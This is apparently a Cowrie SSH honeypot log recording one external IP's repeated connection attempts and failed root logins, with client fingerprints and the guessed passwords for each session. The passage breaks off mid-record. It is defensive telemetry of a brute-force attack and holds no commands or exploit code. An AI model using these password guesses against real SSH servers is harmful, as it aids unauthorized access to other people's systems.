{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:02.138939Z","src_ip":"60.165.124.241","session":"56806d45fe11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43372,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f14bf00626b","protocol":"ssh","message":"New connection: 60.165.124.241:43372 (10.17.0.5:22) [session: 3f14bf00626b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:02.368852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:02.373488Z","src_ip":"60.165.124.241","session":"3f14bf00626b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:02.613471Z","src_ip":"60.165.124.241","session":"3f14bf00626b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:03.327500Z","src_ip":"60.165.124.241","session":"3f14bf00626b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:04.567328Z","src_ip":"60.165.124.241","session":"3f14bf00626b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46600,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4970b9f5f65","protocol":"ssh","message":"New connection: 60.165.124.241:46600 (10.17.0.5:22) [session: d4970b9f5f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:04.825702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:04.832911Z","src_ip":"60.165.124.241","session":"d4970b9f5f65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:05.081373Z","src_ip":"60.165.124.241","session":"d4970b9f5f65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootuser","message":"login attempt [root/rootuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:05.829783Z","src_ip":"60.165.124.241","session":"d4970b9f5f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:07.079882Z","src_ip":"60.165.124.241","session":"d4970b9f5f65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49738,"dst_ip":"10.17.0.5","dst_port":22,"session":"584eb060e6b0","protocol":"ssh","message":"New connection: 60.165.124.241:49738 (10.17.0.5:22) [session: 584eb060e6b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:07.303195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:07.308080Z","src_ip":"60.165.124.241","session":"584eb060e6b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:07.547857Z","src_ip":"60.165.124.241","session":"584eb060e6b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123!@#","message":"login attempt [root/abc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:08.264973Z","src_ip":"60.165.124.241","session":"584eb060e6b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:09.504109Z","src_ip":"60.165.124.241","session":"584eb060e6b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52908,"dst_ip":"10.17.0.5","dst_port":22,"session":"c935f52403db","protocol":"ssh","message":"New connection: 60.165.124.241:52908 (10.17.0.5:22) [session: c935f52403db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:09.742195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:09.747695Z","src_ip":"60.165.124.241","session":"c935f52403db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:09.987113Z","src_ip":"60.165.124.241","session":"c935f52403db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"FAqY7=MZk66k-ob3Rmk","message":"login attempt [root/FAqY7=MZk66k-ob3Rmk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:10.709309Z","src_ip":"60.165.124.241","session":"c935f52403db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:11.951427Z","src_ip":"60.165.124.241","session":"c935f52403db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55922,"dst_ip":"10.17.0.5","dst_port":22,"session":"0428a50a2c7f","protocol":"ssh","message":"New connection: 60.165.124.241:55922 (10.17.0.5:22) [session: 0428a50a2c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:12.186162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:12.190108Z","src_ip":"60.165.124.241","session":"0428a50a2c7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:12.431087Z","src_ip":"60.165.124.241","session":"0428a50a2c7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"datech","message":"login attempt [root/datech] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:13.153927Z","src_ip":"60.165.124.241","session":"0428a50a2c7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:14.404796Z","src_ip":"60.165.124.241","session":"0428a50a2c7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59030,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd3f7833c648","protocol":"ssh","message":"New connection: 60.165.124.241:59030 (10.17.0.5:22) [session: dd3f7833c648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:14.646650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:14.652005Z","src_ip":"60.165.124.241","session":"dd3f7833c648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:14.900823Z","src_ip":"60.165.124.241","session":"dd3f7833c648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Bingo@1993","message":"login attempt [root/Bingo@1993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:15.648006Z","src_ip":"60.165.124.241","session":"dd3f7833c648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:16.895711Z","src_ip":"60.165.124.241","session":"dd3f7833c648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33998,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ab0212a4b47","protocol":"ssh","message":"New connection: 60.165.124.241:33998 (10.17.0.5:22) [session: 6ab0212a4b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:17.146420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:17.151401Z","src_ip":"60.165.124.241","session":"6ab0212a4b47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:17.400374Z","src_ip":"60.165.124.241","session":"6ab0212a4b47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2015","message":"login attempt [root/P@ssw0rd2015] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:18.149845Z","src_ip":"60.165.124.241","session":"6ab0212a4b47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:19.390030Z","src_ip":"60.165.124.241","session":"6ab0212a4b47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37112,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe4378665c1e","protocol":"ssh","message":"New connection: 60.165.124.241:37112 (10.17.0.5:22) [session: fe4378665c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:19.632478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:19.637090Z","src_ip":"60.165.124.241","session":"fe4378665c1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:19.885848Z","src_ip":"60.165.124.241","session":"fe4378665c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hope","message":"login attempt [root/hope] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:20.619630Z","src_ip":"60.165.124.241","session":"fe4378665c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:21.856235Z","src_ip":"60.165.124.241","session":"fe4378665c1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40400,"dst_ip":"10.17.0.5","dst_port":22,"session":"20e6b6a47624","protocol":"ssh","message":"New connection: 60.165.124.241:40400 (10.17.0.5:22) [session: 20e6b6a47624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:22.118638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:47:22.123070Z","src_ip":"60.165.124.241","session":"20e6b6a47624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa